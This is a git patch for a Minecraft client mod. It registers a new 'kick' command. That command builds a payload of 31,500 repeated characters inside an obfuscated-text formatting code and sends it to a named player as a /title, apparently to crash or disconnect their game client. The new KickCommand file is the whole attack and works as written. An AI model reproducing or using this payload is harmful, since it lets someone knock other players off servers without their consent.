From 14596cf6ed9036f70cb304072ea50d7cef005995 Mon Sep 17 00:00:00 2001 From: 7cc5c4f330d47060 Date: Wed, 4 Sep 2024 13:00:20 -0400 Subject: [PATCH] Manually revert to 1.20.1 chomens mod --- .../chipmunkmod/command/CommandManager.java | 1 + .../chipmunkmod/commands/KickCommand.java | 43 +++++++++++++++++++ 2 files changed, 44 insertions(+) create mode 100644 src/main/java/land/chipmunk/chipmunkmod/commands/KickCommand.java diff --git a/src/main/java/land/chipmunk/chipmunkmod/command/CommandManager.java b/src/main/java/land/chipmunk/chipmunkmod/command/CommandManager.java index 5861999..4e5e946 100644 --- a/src/main/java/land/chipmunk/chipmunkmod/command/CommandManager.java +++ b/src/main/java/land/chipmunk/chipmunkmod/command/CommandManager.java @@ -39,6 +39,7 @@ public class CommandManager { AutoSkinCommand.register(this.dispatcher); ReloadConfigCommand.register(this.dispatcher); SelfCareCommand.register(this.dispatcher); + KickCommand.register(this.dispatcher); } public void executeCommand (String command) { diff --git a/src/main/java/land/chipmunk/chipmunkmod/commands/KickCommand.java b/src/main/java/land/chipmunk/chipmunkmod/commands/KickCommand.java new file mode 100644 index 0000000..0087f0c --- /dev/null +++ b/src/main/java/land/chipmunk/chipmunkmod/commands/KickCommand.java @@ -0,0 +1,43 @@ +package land.chipmunk.chipmunkmod.commands; + +import com.mojang.brigadier.Command; +import com.mojang.brigadier.CommandDispatcher; +import com.mojang.brigadier.context.CommandContext; + +import static land.chipmunk.chipmunkmod.command.CommandManager.literal; +import static land.chipmunk.chipmunkmod.command.CommandManager.argument; +import static com.mojang.brigadier.arguments.StringArgumentType.greedyString; +import static com.mojang.brigadier.arguments.StringArgumentType.getString; +import net.fabricmc.fabric.api.client.command.v2.FabricClientCommandSource; +import land.chipmunk.chipmunkmod.modules.CommandCore; + +public class KickCommand { + public static void register (CommandDispatcher dispatcher) { + dispatcher.register( + literal("kick") + .then( + argument("player", greedyString()) + .executes(c -> run(c)) + ) + ); + } + + public static int run (CommandContext context) { + + final String payloadStart = "uwu\u00a7k"; + + final String payloadEnd = "uwu"; + + final StringBuffer payload = new StringBuffer(); + payload.append(payloadStart); + + for(int i = 0; i < 31500; i++) { + payload.append("猫"); + } + + payload.append(payloadEnd); + CommandCore.INSTANCE.run("/title " + getString(context, "player") + " title \"" + payload.toString() + "\""); + + return Command.SINGLE_SUCCESS; + } +}